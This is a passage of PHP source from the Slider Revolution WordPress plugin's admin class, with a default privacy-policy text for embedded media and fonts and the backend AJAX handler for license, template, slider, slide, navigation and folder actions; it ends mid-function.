	public function get_default_privacy_content(){
		return __('<h2>In case you’re using Google Web Fonts (default) or playing videos or sounds via YouTube or Vimeo in Slider Revolution we recommend to add the corresponding text phrase to your privacy police:</h2>
		<h3>YouTube</h3> <p>Our website uses plugins from YouTube, which is operated by Google. The operator of the pages is YouTube LLC, 901 Cherry Ave., San Bruno, CA 94066, USA.</p> <p>If you visit one of our pages featuring a YouTube plugin, a connection to the YouTube servers is established. Here the YouTube server is informed about which of our pages you have visited.</p> <p>If you\'re logged in to your YouTube account, YouTube allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your YouTube account.</p> <p>YouTube is used to help make our website appealing. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.</p> <p>Further information about handling user data, can be found in the data protection declaration of YouTube under <a href="https://www.google.de/intl/de/policies/privacy" target="_blank" rel="noopener">https://www.google.de/intl/de/policies/privacy</a>.</p>
		<h3>Vimeo</h3> <p>Our website uses features provided by the Vimeo video portal. This service is provided by Vimeo Inc., 555 West 18th Street, New York, New York 10011, USA.</p> <p>If you visit one of our pages featuring a Vimeo plugin, a connection to the Vimeo servers is established. Here the Vimeo server is informed about which of our pages you have visited. In addition, Vimeo will receive your IP address. This also applies if you are not logged in to Vimeo when you visit our plugin or do not have a Vimeo account. The information is transmitted to a Vimeo server in the US, where it is stored.</p> <p>If you are logged in to your Vimeo account, Vimeo allows you to associate your browsing behavior directly with your personal profile. You can prevent this by logging out of your Vimeo account.</p> <p>For more information on how to handle user data, please refer to the Vimeo Privacy Policy at <a href="https://vimeo.com/privacy" target="_blank" rel="noopener">https://vimeo.com/privacy</a>.</p>
		<h3>Google Web Fonts</h3> <p>For uniform representation of fonts, this page uses web fonts provided by Google. When you open a page, your browser loads the required web fonts into your browser cache to display texts and fonts correctly.</p> <p>For this purpose your browser has to establish a direct connection to Google servers. Google thus becomes aware that our web page was accessed via your IP address. The use of Google Web fonts is done in the interest of a uniform and attractive presentation of our plugin. This constitutes a justified interest pursuant to Art. 6 (1) (f) DSGVO.</p> <p>If your browser does not support web fonts, a standard font is used by your computer.</p> <p>Further information about handling user data, can be found at <a href="https://developers.google.com/fonts/faq" target="_blank" rel="noopener">https://developers.google.com/fonts/faq</a> and in Google\'s privacy policy at <a href="https://www.google.com/policies/privacy/" target="_blank" rel="noopener">https://www.google.com/policies/privacy/</a>.</p>
		<h3>SoundCloud</h3><p>On our pages, plugins of the SoundCloud social network (SoundCloud Limited, Berners House, 47-48 Berners Street, London W1T 3NF, UK) may be integrated. The SoundCloud plugins can be recognized by the SoundCloud logo on our site.</p>
			<p>When you visit our site, a direct connection between your browser and the SoundCloud server is established via the plugin. This enables SoundCloud to receive information that you have visited our site from your IP address. If you click on the “Like” or “Share” buttons while you are logged into your SoundCloud account, you can link the content of our pages to your SoundCloud profile. This means that SoundCloud can associate visits to our pages with your user account. We would like to point out that, as the provider of these pages, we have no knowledge of the content of the data transmitted or how it will be used by SoundCloud. For more information on SoundCloud’s privacy policy, please go to https://soundcloud.com/pages/privacy.</p><p>If you do not want SoundCloud to associate your visit to our site with your SoundCloud account, please log out of your SoundCloud account.</p>', 'revslider');
	}

	/**
	 * The Ajax Action part for backend actions only
	 **/
	public function do_ajax_action(){
		$slider	= new RevSliderSlider();
		$slide	= new RevSliderSlide();

		$action	= $this->get_request_var('client_action');
		$data	= $this->get_request_var('data', '', false);
		$data	= ($data == '') ? array() : $data;
		$nonce	= $this->get_request_var('nonce');
		$nonce	= (empty($nonce)) ? $this->get_request_var('rs-nonce') : $nonce;
		$no_cache = array('get_template_information_short', 'export_slider', 'export_slider_html', 'getSliderImage', 'getSliderSizeLayout', 'get_list_of', 'load_wordpress_object', 'get_global_settings', 'get_slides_by_slider_id', 'get_full_slider_object', 'load_builder', 'subscribe_to_newsletter', 'check_system', 'get_layers_by_slide', 'export_layer_group', 'load_wordpress_image', 'load_library_image', 'get_help_directory', 'get_tooltips', 'get_addons_sizes', 'get_v5_slider_list');
		
		try{
			if(RS_DEMO){
				switch ($action){
					case 'get_template_information_short':
					case 'import_template_slider':
					case 'install_template_slider':
					case 'install_template_slide':
					case 'get_list_of':
					case 'get_global_settings':
					case 'get_full_slider_object':
					case 'subscribe_to_newsletter':
					case 'check_system':
					case 'load_module':
					case 'get_addon_list':
					case 'get_layers_by_slide':
					case 'silent_slider_update':
					case 'get_help_directory':
					case 'set_tooltip_preference':
					case 'load_builder':
					case 'load_library_object':
					case 'get_tooltips':
					//case 'preview_slider':
						//these are all okay in demo mode
					break;
					default:
						$this->ajax_response_error(__('Function Not Available in Demo Mode', 'revslider'));
						exit;
					break;
				}
			}
			
			if(!current_user_can($this->user_role) && apply_filters('revslider_restrict_role', true)){
				switch($action){
					case 'activate_plugin':
					case 'deactivate_plugin':
					case 'import_template_slider':
					case 'install_template_slider':
					case 'install_template_slide':
					case 'import_slider':
					case 'delete_slider':
					case 'create_navigation_preset':
					case 'delete_navigation_preset':
					case 'save_navigation':
					case 'delete_animation':
					case 'save_animation':
					case 'check_system':
					case 'fix_database_issues':
					case 'trigger_font_deletion':
					case 'get_v5_slider_list':
					case 'reimport_v5_slider':
						$this->ajax_response_error(__('Function only available for administrators', 'revslider'));
						exit;
					break;
					default:
						$return = apply_filters('revslider_admin_onAjaxAction_user_restriction', true, $action, $data, $slider, $slide, $operations);
						if($return !== true){
							$this->ajax_response_error(__('Function only available for administrators', 'revslider'));
							exit;
						}
					break;
				}
			}

			if(wp_verify_nonce($nonce, 'revslider_actions') == false){
				//check if it is wp nonce and if the action is refresh nonce
				$this->ajax_response_error(__('Bad Request', 'revslider'));
				exit;
			}
			
			if(!in_array($action, $no_cache)) $this->flush_wp_cache();
			
			switch($action){
				case 'activate_plugin':
					$result	 = false;
					$code	 = trim($this->get_val($data, 'code'));
					$selling = $this->get_addition('selling');
					$rs_license = new RevSliderLicense();
					
					if(!empty($code)){
						$result = $rs_license->activate_plugin($code);
					}else{
						$error = ($selling === true) ? __('The License Key needs to be set!', 'revslider') : __('The Purchase Code needs to be set!', 'revslider');
						$this->ajax_response_error($error);
						exit;
					}

					if($result === true){
						$this->ajax_response_success(__('Plugin successfully activated', 'revslider'));
					}elseif($result === false){
						$error = ($selling === true) ? __('License Key is invalid', 'revslider') : __('Purchase Code is invalid', 'revslider');
						$this->ajax_response_error($error);
					}else{
						if($result == 'exist'){
							$error = ($selling === true) ? __('License Key already registered!', 'revslider') : __('Purchase Code already registered!', 'revslider');
							$this->ajax_response_error($error);
						}elseif($result == 'banned'){
							$error = ($selling === true) ? __('License Key was locked, please contact the ThemePunch support!', 'revslider') : __('Purchase Code was locked, please contact the ThemePunch support!', 'revslider');
							$this->ajax_response_error($error);
						}
						$error = ($selling === true) ? __('License Key could not be validated', 'revslider') : __('Purchase Code could not be validated', 'revslider');
						$this->ajax_response_error($error);
					}
				break;
				case 'deactivate_plugin':
					$rs_license = new RevSliderLicense();
					$result = $rs_license->deactivate_plugin();

					if($result){
						$this->ajax_response_success(__('Plugin deregistered', 'revslider'));
					}else{
						$this->ajax_response_error(__('Deregistration failed!', 'revslider'));
					}
				break;
				case 'close_deregister_popup':
					update_option('revslider-deregister-popup', 'false');
					$this->ajax_response_success(__('Saved', 'revslider'));
				break;
				case 'deactivate_trustpilot':
					update_option('revslider-trustpilot', 'false');
					$this->ajax_response_success(__('Saved', 'revslider'));
				break;
				case 'dismiss_dynamic_notice':
					$ids = $this->get_val($data, 'id', array());
					$notices_discarded = get_option('revslider-notices-dc', array());
					if(!empty($ids)){
						foreach($ids as $_id){
							$notices_discarded[] = esc_attr(trim($_id));
						}
						
						update_option('revslider-notices-dc', $notices_discarded);
					}
					
					$this->ajax_response_success(__('Saved', 'revslider'));
				break;
				case 'check_for_updates':
					$update = new RevSliderUpdate(RS_REVISION);
					$update->force = true;
					
					$update->_retrieve_version_info();
					$version = get_option('revslider-latest-version', RS_REVISION);
					
					if($version !== false){
						$this->ajax_response_data(array('version' => $version));
					}else{
						$this->ajax_response_error(__('Connection to Update Server Failed', 'revslider'));
					}
				break;
				case 'get_template_information_short':
					$templates = new RevSliderTemplate();
					$sliders = $templates->get_tp_template_sliders();

					$this->ajax_response_data(array('templates' => $sliders));
				break;
				case 'import_template_slider': //before: import_slider_template_slidersview
					$uid		= $this->get_val($data, 'uid');
					$install	= $this->get_val($data, 'install', true);
					$templates	= new RevSliderTemplate();
					$filepath	= $templates->_download_template($uid);

					if($filepath !== false){
						$templates->remove_old_template($uid);
						$slider = new RevSliderSliderImport();
						$return = $slider->import_slider(false, $filepath, $uid, false, true, $install);
						
						if($this->get_val($return, 'success') == true){
							$new_id = $this->get_val($return, 'sliderID');
							if(intval($new_id) > 0){
								$map = $this->get_val($return, 'map',  array());
								$folder_id = $this->get_val($data, 'folderid', -1);
								if(intval($folder_id) > 0){
									$folder = new RevSliderFolder();
									$folder->add_slider_to_folder($new_id, $folder_id, false);
								}

								$new_slider = new RevSliderSlider();
								$new_slider->init_by_id($new_id);
								$data = $new_slider->get_overview_data();

								$hiddensliderid = $templates->get_slider_id_by_uid($uid);
								
								$templates->_delete_template($uid); //delete template file
								
								$this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $hiddensliderid, 'map' => $map, 'uid' => $uid));
							}
						}
						
						$templates->_delete_template($uid); //delete template file
						
						$error = ($this->get_val($return, 'error') !== '') ? $this->get_val($return, 'error') : __('Slider Import Failed', 'revslider');
						$this->ajax_response_error($error);
					}
					$this->ajax_response_error(__('Template Slider Import Failed', 'revslider'));
				break;
				case 'install_template_slider':
					$id = $this->get_val($data, 'sliderid');
					$new_id = $slider->duplicate_slider_by_id($id, true);
					if(intval($new_id) > 0){
						$new_slider = new RevSliderSlider();
						$new_slider->init_by_id($new_id);
						$data = $new_slider->get_overview_data();
						$slide_maps = $slider->get_map();
						$map = array(
							'slider' => array('template_to_duplication' => array($id => $new_id)),
							'slides' => $slide_maps
						);
						$this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $id, 'map' => $map));
					}
					$this->ajax_response_error(__('Template Slider Installation Failed', 'revslider'));
				break;
				case 'install_template_slide':
					$template = new RevSliderTemplate();
					$slider_id = intval($this->get_val($data, 'slider_id'));
					$slide_id = intval($this->get_val($data, 'slide_id'));

					if($slider_id == 0 || $slide_id == 0){
					}else{
						$new_slide_id = $slide->duplicate_slide_by_id($slide_id, $slider_id);

						if($new_slide_id !== false){
							$slide->init_by_id($new_slide_id);
							$_slides[] = array(
								'order' => $slide->get_order(),
								'params' => $slide->get_params(),
								'layers' => $slide->get_layers(),
								'id' => $slide->get_id(),
							);

							$this->ajax_response_data(array('slides' => $_slides));
						}
					}

					$this->ajax_response_error(__('Slide duplication failed', 'revslider'));
				break;
				case 'import_slider':
					$import = new RevSliderSliderImport();
					$return = $import->import_slider();

					if($this->get_val($return, 'success') == true){
						$new_id = $this->get_val($return, 'sliderID');

						if(intval($new_id) > 0){
							$folder = new RevSliderFolder();
							$folder_id = $this->get_val($data, 'folderid', -1);
							if(intval($folder_id) > 0){
								$folder->add_slider_to_folder($new_id, $folder_id, false);
							}

							$new_slider = new RevSliderSlider();
							$new_slider->init_by_id($new_id);
							$data = $new_slider->get_overview_data();

							$this->ajax_response_data(array('slider' => $data, 'hiddensliderid' => $new_id));
						}
					}

					$error = ($this->get_val($return, 'error') !== '') ? $this->get_val($return, 'error') : __('Slider Import Failed', 'revslider');

					$this->ajax_response_error($error);
				break;
				case 'add_to_media_library':
					$return = $this->import_upload_media();
					
					if($this->get_val($return, 'error', false) !== false){
						$this->ajax_response_error($this->get_val($return, 'error', false));
					}else{
						$this->ajax_response_data($return);
					}
				break;
				case 'adjust_modal_ids':
					$map = $this->get_val($data, 'map', array());
					
					if(!empty($map)){
						$slider_ids = $this->get_val($map, 'slider_map', array());
						$slides_ids = $this->get_val($map, 'slides_map', array());
						
						$ztt = $this->get_val($slider_ids, 'zip_to_template', array());
						$ztd = $this->get_val($slider_ids, 'zip_to_duplication', array());
						$ttd = $this->get_val($slider_ids, 'template_to_duplication', array());
						$s_a = array();
						if(!empty($slides_ids)){
							foreach($slides_ids as $k => $v){
								if(is_array($v)){
									foreach($v as $vk => $vv){
										$s_a[$vk] = $vv;
									}
									unset($slides_ids[$k]);
								}
							}
						}
						
						if(!empty($ztt)){
							foreach($ztt as $old => $new){
								$slider = new RevSliderSliderImport();
								$slider->init_by_id($new);
								$slider->update_modal_ids($ztt, $slides_ids);
							}
						}
						
						if(!empty($ztd)){
							foreach($ztd as $old => $new){
								$slider = new RevSliderSliderImport();
								$slider->init_by_id($new);
								$slider->update_modal_ids($ztd, $s_a);
							}
						}
						
						if(!empty($ttd)){
							foreach($ttd as $old => $new){
								$slider = new RevSliderSliderImport();
								$slider->init_by_id($new);
								$slider->update_modal_ids($ttd, $slides_ids);
							}
						}
						
						$this->ajax_response_data(array());
					}else{
						$this->ajax_response_error(__('Slider Map Empty', 'revslider'));
					}
				break;
				case 'adjust_js_css_ids':
					$map = $this->get_val($data, 'map', array());
					
					if(!empty($map)){
						$slider_map = array();
						foreach($map as $m){
							$slider_ids = $this->get_val($m, 'slider_map', array());
							if(!empty($slider_ids)){
								foreach($slider_ids as $old => $new){
									$slider = new RevSliderSliderImport();
									$slider->init_by_id($new);
									
									$slider_map[] = $slider;
								}
							}
						}
						
						if(!empty($slider_map)){
							foreach($slider_map as $slider){
								foreach($map as $m){
									$slider_ids = $this->get_val($m, 'slider_map', array());
									$slide_ids = $this->get_val($m, 'slide_map', array());
									if(!empty($slider_ids)){
										foreach($slider_ids as $old => $new){
											$slider->update_css_and_javascript_ids($old, $new, $slide_ids);
										}
									}
								}
							}
						}
					}
				break;
				case 'export_slider':
					$export = new RevSliderSliderExport();
					$id = intval($this->get_request_var('id'));
					$export->export_slider($id);

					//will never be called if all is good
					$this->ajax_response_error(__('Slider Export Error!!!', 'revslider'));
				break;
				case 'export_slider_html':
					$export = new RevSliderSliderExportHtml();
					$id = intval($this->get_request_var('id'));
					$export->export_slider_html($id);

					//will never be called if all is good
					$this->ajax_response_error(__('Slider HTML Export Error!!!', 'revslider'));
				break;
				case 'delete_slider':
					$id = $this->get_val($data, 'id');
					$slider->init_by_id($id);
					$slider->delete_slider();

					$this->ajax_response_success(__('Slider Deleted', 'revslider'));
				break;
				case 'duplicate_slider':
					$id = $this->get_val($data, 'id');
					$new_id = $slider->duplicate_slider_by_id($id);
					if(intval($new_id) > 0){
						$new_slider = new RevSliderSlider();
						$new_slider->init_by_id($new_id);
						$data = $new_slider->get_overview_data();
						$this->ajax_response_data(array('slider' => $data));
					}

					$this->ajax_response_error(__('Duplication Failed', 'revslider'));
				break;
				case 'save_slide':
					$slide_id = $this->get_val($data, 'slide_id');
					$slider_id = $this->get_val($data, 'slider_id');
					$return = $slide->save_slide($slide_id, $data, $slider_id);
					
					$cache = RevSliderGlobals::instance()->get('RevSliderCache');
					$cache->clear_transients_by_slider($slider_id);
					
					if($return){
						$this->ajax_response_success(__('Slide Saved', 'revslider'));
					}else{
						$this->ajax_response_error(__('Slide not found', 'revslider'));
					}
				break;
				case 'save_slide_advanced':
					$slide_id = $this->get_val($data, 'slide_id');
					$slider_id = $this->get_val($data, 'slider_id');
					$return = $slide->save_slide_advanced($slide_id, $data, $slider_id);
					
					$cache = RevSliderGlobals::instance()->get('RevSliderCache');
					$cache->clear_transients_by_slider($slider_id);
					
					if($return){
						$this->ajax_response_success(__('Slide Saved', 'revslider'));
					}else{
						$this->ajax_response_error(__('Slide not found', 'revslider'));
					}
				break;
				case 'save_slider':
					$slider_id = $this->get_val($data, 'slider_id');
					$slide_ids = $this->get_val($data, 'slide_ids', array());
					$return = $slider->save_slider($slider_id, $data);
					$missing_slides = array();
					$delete_slides = array();
					
					$cache = RevSliderGlobals::instance()->get('RevSliderCache');
					$cache->clear_transients_by_slider($slider_id);
					
					if($return !== false){
						if(!empty($slide_ids)){
							$slides = $slider->get_slides(false, true);

							//get the missing Slides (if any at all)
							foreach($slide_ids as $slide_id){
								$found = false;
								foreach($slides as $_slide){
									if($_slide->get_id() !== $slide_id){
										continue;
									}

									$found = true;
								}
								if(!$found){
									$missing_slides[] = $slide_id;
								}

							}

							//get the Slides that are no longer needed and delete them
							$existing_slide_ids = array();
							foreach($slides as $key => $_slide){
								$id = $_slide->get_id();
								if(!in_array($id, $slide_ids)){
									$delete_slides[] = $id;
								}else{
									$existing_slide_ids[] = $id;
								}
							}
							
							foreach($slides as $key => $_slide){
								//check if the parentID exists in the $slides, if not remove this child slide
								$parentID = $_slide->get_param(array('child', 'parentId'), false);
								if($parentID !== false){
									if(!in_array($parentID, $existing_slide_ids)){
										$slid = $_slide->get_id();
										if(!in_array($slid, $delete_slides)){
											$delete_slides[] = $slid;
										}
									}
								}
							}
							
							if(!empty($delete_slides)){
								//check for parentID's and if they exist, if the parentID will be deleted
								foreach($slides as $key => $_slide){
									//params -> child -> parentID
									$parentID = $_slide->get_param(array('child', 'parentId'), false);
									$child = $_slide->get_param(array('child'), false);
									//var_dump($parentID);
									if($parentID !== false){
										if(in_array($parentID, $delete_slides)){
											$delete_slides[] = $_slide->get_id();
										}
									}
								}
								
								foreach($slides as $key => $_slide){
									$id = $_slide->get_id();
									if(in_array($id, $delete_slides)){
										unset($slides[$key]); //remove none existing slides for further ordering process
									}
								}

								foreach($delete_slides as $delete_slide){
									$slide->delete_slide_by_id($delete_slide);
								}
							}

							//change the order of slides
							$slide = new RevSliderSlide();
							foreach($slide_ids as $order => $id){
								$new_order = $order + 1;
								$slide->change_slide_order($id, $new_order);
							}
						}

						$this->ajax_response_data(array('missing' => $missing_slides, 'delete' => $delete_slides));
					}else{
						$this->ajax_response_error(__('Slider not found', 'revslider'));
					}
				break;
				case 'delete_slide':
					$slide_id = intval($this->get_val($data, 'slide_id', ''));
					if($slide_id > 0){
						$slide->init_by_id($slide_id);
						$slider_id = $slide->get_slider_id();
						$cache = RevSliderGlobals::instance()->get('RevSliderCache');
						$cache->clear_transients_by_slider($slider_id);
					}
					$return = ($slide_id > 0) ? $slide->delete_slide_by_id($slide_id) : false;
					
					if($return !== false){
						$this->ajax_response_success(__('Slide deleted', 'revslider'));
					}else{
						$this->ajax_response_error(__('Slide could not be deleted', 'revslider'));
					}
				break;
				case 'duplicate_slide':
					$slide_id	= intval($this->get_val($data, 'slide_id', ''));
					$slider_id	= intval($this->get_val($data, 'slider_id', ''));
					
					$new_slide_id = $slide->duplicate_slide_by_id($slide_id, $slider_id);
					if($new_slide_id !== false){
						$slide->init_by_id($new_slide_id);
						$_slide = $slide->get_overview_data();
						
						$this->ajax_response_data(array('slide' => $_slide));
					}else{
						$this->ajax_response_error(__('Slide could not duplicated', 'revslider'));
					}
				break;
				case 'update_slide_order':
					$slide_ids	= $this->get_val($data, 'slide_ids', array());
					
					//change the order of slides
					if(!empty($slide_ids)){
						$init = false;
						foreach($slide_ids as $order => $id){
							if($init === false){
								$slide->init_by_id($id);
								$init = true;
							}
							$new_order = $order + 1;
							$slide->change_slide_order($id, $new_order);
						}
						
						$slider_id = $slide->get_slider_id();
						$cache = RevSliderGlobals::instance()->get('RevSliderCache');
						$cache->clear_transients_by_slider($slider_id);
						
						$this->ajax_response_success(__('Slide order changed', 'revslider'));
					}else{
						$this->ajax_response_error(__('Slide order could not be changed', 'revslider'));
					}
				break;
				case 'getSliderImage':
					// Available Sliders
					$slider = new RevSliderSlider();
					$arrSliders = $slider->get_sliders();

					// Given Alias
					$alias = $this->get_val($data, 'alias');
					$return = array_search($alias,$arrSliders);

					foreach($arrSliders as $sliderony){
						if($sliderony->get_alias() != $alias) continue;

						$slider_found	= $sliderony->get_overview_data();
						$return			= $this->get_val($slider_found, array('bg', 'src'));
						$title			= $this->get_val($slider_found, 'title');
						$premium_state	= $this->get_val($slider_found, 'premium');

						break;
					}

					if(!$return) $return = '';

					if(!empty($title)){
						$this->ajax_response_data(array('image' => $return, 'title' => $title, 'premium' => $premium_state));
					}else{
						$this->ajax_response_error( __('The Slider with the alias "' . $alias . '" is not available!', 'revslider') );
					}

				break;
				case 'getSliderSizeLayout':
					// Available Sliders
					$slider = new RevSliderSlider();
					$arrSliders = $slider->get_sliders();

					// Given Alias
					$alias	= $this->get_val($data, 'alias');
					$return = array_search($alias, $arrSliders);
					$title	= '';
					foreach($arrSliders as $sliderony){
						if($sliderony->get_alias() == $alias){
							$slider_found = $sliderony->get_overview_data();
							$return	= $slider_found['size'];
							$title	= $slider_found['title'];
						}
					}
					
					$this->ajax_response_data(array('layout' => $return, 'title' => $title));
				break;
				case 'get_list_of':
					$type = $this->get_val($data, 'type');
					switch($type){
						case 'sliders':
							$slider = new RevSliderSlider();
							$arrSliders = $slider->get_sliders();
							$return = array();
							foreach($arrSliders as $sliderony){
								$return[$sliderony->get_id()] = array('slug' => $sliderony->get_alias(), 'title' => $sliderony->get_title(), 'type' => $sliderony->get_type(), 'subtype' => $sliderony->get_param(array('source', 'post', 'subType'), false));
							}
							$this->ajax_response_data(array('sliders' => $return));
						break;
						case 'pages':
							$pages = get_pages(array());
							$return = array();
							foreach($pages as $page){
								if(!$page->post_password){
									$return[$page->ID] = array('slug' => $page->post_name, 'title' => $page->post_title);
								}

							}
							$this->ajax_response_data(array('pages' => $return));
						break;
						case 'posttypes':
							$args = array(
								'public' => true,
								'_builtin' => false,
							);
							$output = 'objects';
							$operator = 'and';
							$post_types = get_post_types($args, $output, $operator);
							$return['post'] = array('slug' => 'post', 'title' => __('Posts', 'revslider'));

							foreach($post_types as $post_type){
								$return[$post_type->rewrite['slug']] = array('slug' => $post_type->rewrite['slug'], 'title' => $post_type->labels->name);
								if(!in_array($post_type->name, array('post', 'page', 'attachment', 'revision', 'nav_menu_item', 'custom_css', 'custom_changeset', 'user_request'))){
									$taxonomy_objects = get_object_taxonomies($post_type->name, 'objects');
									if(!empty($taxonomy_objects)){
										$return[$post_type->rewrite['slug']]['tax'] = array();
										foreach($taxonomy_objects as $name => $tax){
											$return[$post_type->rewrite['slug']]['tax'][$name] = $tax->label;
										}
									}
								}
							}

							$this->ajax_response_data(array('posttypes' => $return));
						break;
					}
				break;
				case 'load_wordpress_object':
					$id = $this->get_val($data, 'id', 0);
					$type = $this->get_val($data, 'type', 'full');
					
					$file = wp_get_attachment_image_src($id, $type);
					if($file !== false){
						$this->ajax_response_data(array('url' => $this->get_val($file, 0)));
					}else{
						$this->ajax_response_error(__('File could not be loaded', 'revslider'));
					}
				break;
				case 'get_global_settings':
					$this->ajax_response_data(array('global_settings' => $this->global_settings));
				break;
				case 'update_global_settings':
					$global = $this->get_val($data, 'global_settings', array());
					if(!empty($global)){
						$return = $this->set_global_settings($global);
						if($return === true){
							$this->ajax_response_success(__('Global Settings saved/updated', 'revslider'));
						}else{
							$this->ajax_response_error(__('Global Settings not saved/updated', 'revslider'));
						}
					}else{
						$this->ajax_response_error(__('Global Settings not saved/updated', 'revslider'));
					}
				break;
				case 'create_navigation_preset':
					$nav = new RevSliderNavigation();
					$return = $nav->add_preset($data);

					if($return === true){
						$this->ajax_response_success(__('Navigation preset saved/updated', 'revslider'), array('navs' => $nav->get_all_navigations_builder()));
					}else{
						if($return === false){
							$return = __('Preset could not be saved/values are the same', 'revslider');
						}

						$this->ajax_response_error($return);
					}
				break;
				case 'delete_navigation_preset':
					$nav = new RevSliderNavigation();
					$return = $nav->delete_preset($data);

					if($return === true){
						$this->ajax_response_success(__('Navigation preset deleted', 'revslider'), array('navs' => $nav->get_all_navigations_builder()));
					}else{
						if($return === false){
							$return = __('Preset not found', 'revslider');
						}

						$this->ajax_response_error($return);
					}
				break;
				case 'save_navigation': //also deletes if requested
					$_nav = new RevSliderNavigation();
					$navs = (array) $this->get_val($data, 'navs', array());
					$delete_navs = (array) $this->get_val($data, 'delete', array());

					if(!empty($delete_navs)){
						foreach($delete_navs as $dnav){
							$_nav->delete_navigation($dnav);
						}
					}

					if(!empty($navs)){
						$_nav->create_update_full_navigation($navs);
					}

					$navigations = $_nav->get_all_navigations_builder();

					$this->ajax_response_data(array('navs' => $navigations));
				break;
				case 'delete_animation':
					$animation_id = $this->get_val($data, 'id');
					$admin = new RevSliderFunctionsAdmin();
					$return = $admin->delete_animation($animation_id);
					if($return){
						$this->ajax_response_success(__('Animation deleted', 'revslider'));
					}else{
						$this->ajax_response_error(__('Deletion failed', 'revslider'));
					}
				break;
				case 'save_animation':
					$admin	= new RevSliderFunctionsAdmin();
					$id		= $this->get_val($data, 'id', false);
					$type	= $this->get_val($data, 'type', 'in');
					$animation = $this->get_val($data, 'obj');

					if($id !== false){
						$return = $admin->update_animation($id, $animation, $type);
					}else{
						$return = $admin->insert_animation($animation, $type);
					}

					if(intval($return) > 0){
						$this->ajax_response_data(array('id' => $return));
					} elseif($return === true){
						$this->ajax_response_success(__('Animation saved', 'revslider'));
					}else{
						if($return == false){
							$this->ajax_response_error(__('Animation could not be saved', 'revslider'));
						}
						$this->ajax_response_error($return);
					}
				break;
				case 'get_slides_by_slider_id':
					$sid	 = intval($this->get_val($data, 'id'));
					$slides	 = array();
					$_slides = $slide->get_slides_by_slider_id($sid);
					
					if(!empty($_slides)){
						foreach($_slides as $slide){
							$slides[] = $slide->get_overview_data();
						}
					}
					
					$this->ajax_response_data(array('slides' => $slides));
				break;
				case 'get_full_slider_object':
					$slide_id = $this->get_val($data, 'id');
					$slide_id = RevSliderFunctions::esc_attr_deep($slide_id);
					$slider_alias = $this->get_val($data, 'alias', '');
					$slider_alias = RevSliderFunctions::esc_attr_deep($slider_alias);
					
					if($slider_alias !== ''){
						$slider->init_by_alias($slider_alias);
						$slider_id = $slider->get_id();
					}else{
						if(strpos($slide_id, 'slider-') !== false){
							$slider_id = str_replace('slider-', '', $slide_id);
						}else{
							$slide->init_by_id($slide_id);

							$slider_id = $slide->get_slider_id();
							if(intval($slider_id) == 0){
								$this->ajax_response_error(__('Slider could not be loaded', 'revslider'));
							}
						}
						
						$slider->init_by_id($slider_id);
					}
					if($slider->inited === false){
						$this->ajax_response_error(__('Slider could not be loaded', 'revslider'));
					}
					
					//check if an update is needed
					if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
						$upd = new RevSliderPluginUpdate();
						$upd->upgrade_slider_to_latest($slider);
						$slider->init_by_id($slider_id);
					}
					
					//create static Slide if the Slider not yet has one
					$static_slide_id = $slide->get_static_slide_id($slider_id);
					$static_slide_id = (intval($static_slide_id) === 0) ? $slide->create_slide($slider_id, '', true) : $static_slide_id;
					
					$static_slide = false;
					if(intval($static_slide_id) > 0){
						$static_slide = new RevSliderSlide();
						$static_slide->init_by_static_id($static_slide_id);
					}
					
					$slides = $slider->get_slides(false, true);
					$_slides = array();
					$_static_slide = array();

					if(!empty($slides)){
						foreach($slides as $s){
							$_slides[] = array(
								'order' => $s->get_order(),
								'params' => $s->get_params(),
								'layers' => $s->get_layers(),
								'id' => $s->get_id(),
							);
						}
					}

					if(!empty($static_slide)){
						$_static_slide = array(
							'params' => $static_slide->get_params(),
							'layers' => $static_slide->get_layers(),
							'id' => $static_slide->get_id(),
						);
					}
					
					$obj = array(
						'id' => $slider_id,
						'alias' => $slider->get_alias(),
						'title' => $slider->get_title(),
						'slider_params' => $slider->get_params(),
						'slider_settings' => $slider->get_settings(),
						'slides' => $_slides,
						'static_slide' => $_static_slide,
					);

					$this->ajax_response_data($obj);
				break;
				case 'load_builder':
					ob_start();
					require_once RS_PLUGIN_PATH . 'admin/views/builder.php';
					$builder = ob_get_contents();
					ob_clean();
					ob_end_clean();

					$this->ajax_response_data($builder);
				break;
				case 'create_slider_folder':
					$folder = new RevSliderFolder();
					$title = $this->get_val($data, 'title', __('New Folder', 'revslider'));
					$parent = $this->get_val($data, 'parentFolder', 0);
					$new = $folder->create_folder($title, $parent);

					if($new !== false){
						$overview_data = $new->get_overview_data();
						$this->ajax_response_data(array('folder' => $overview_data));
					}else{
						$this->ajax_response_error(__('Folder Creation Failed', 'revslider'));
					}
				break;
				case 'delete_slider_folder':
					$id = $this->get_val($data, 'id');
					$folder = new RevSliderFolder();
					$is = $folder->init_folder_by_id($id);
					if($is === true){
						$folder->delete_slider();
						$this->ajax_response_success(__('Folder Deleted', 'revslider'));
					}else{
						$this->ajax_response_error(__('Folder Deletion Failed', 'revslider'));
					}
				break;
				case 'update_slider_tags':
					$id = $this->get_val($data, 'id');
					$tags = $this->get_val($data, 'tags');

					$return = $slider->update_slider_tags($id, $tags);
					if($return == true){
						$this->ajax_response_success(__('Tags Updated', 'revslider'));
					}else{
						$this->ajax_response_error(__('Failed to Update Tags', 'revslider'));
					}
				break;
				case 'save_slider_folder':
					$folder = new RevSliderFolder();
					$children = $this->get_val($data, 'children');
					$folder_id = $this->get_val($data, 'id');

					$return = $folder->add_slider_to_folder($children, $folder_id);

					if($return == true){
						$this->ajax_response_success(__('Slider Moved to Folder', 'revslider'));
					}else{
						$this->ajax_response_error(__('Failed to Move Slider Into Folder', 'revslider'));
					}
				break;
				case 'update_slider_name':
				case 'update_folder_name':
					$slider_id = $this->get_val($data, 'id');
					$new_title = $this->get_val($data, 'title');

					$slider->init_by_id($slider_id, $new_title);
					$return = $slider->update_title($new_title);
					if($return != false){
						$this->ajax_response_success(__('Title updated', 'revslider'), array('title' => $return));
					}else{
						$this->ajax_response_error(__('Failed to update Title', 'revslider'));
					}
				break;
				case 'preview_slider':
					$slider_id = $this->get_val($data, 'id');
					$slider_data = $this->get_val($data, 'data');
					$title = __('Slider Revolution Preview', 'revslider');
					
					if(intval($slider_id) > 0 && empty($slider_data)){
						$slider->init_by_id($slider_id);

						//check if an update is needed
						if(version_compare($slider->get_param(array('settings', 'version')), get_option('revslider_update_version', '6.0.0'), '<')){
							$upd = new RevSliderPluginUpdate();
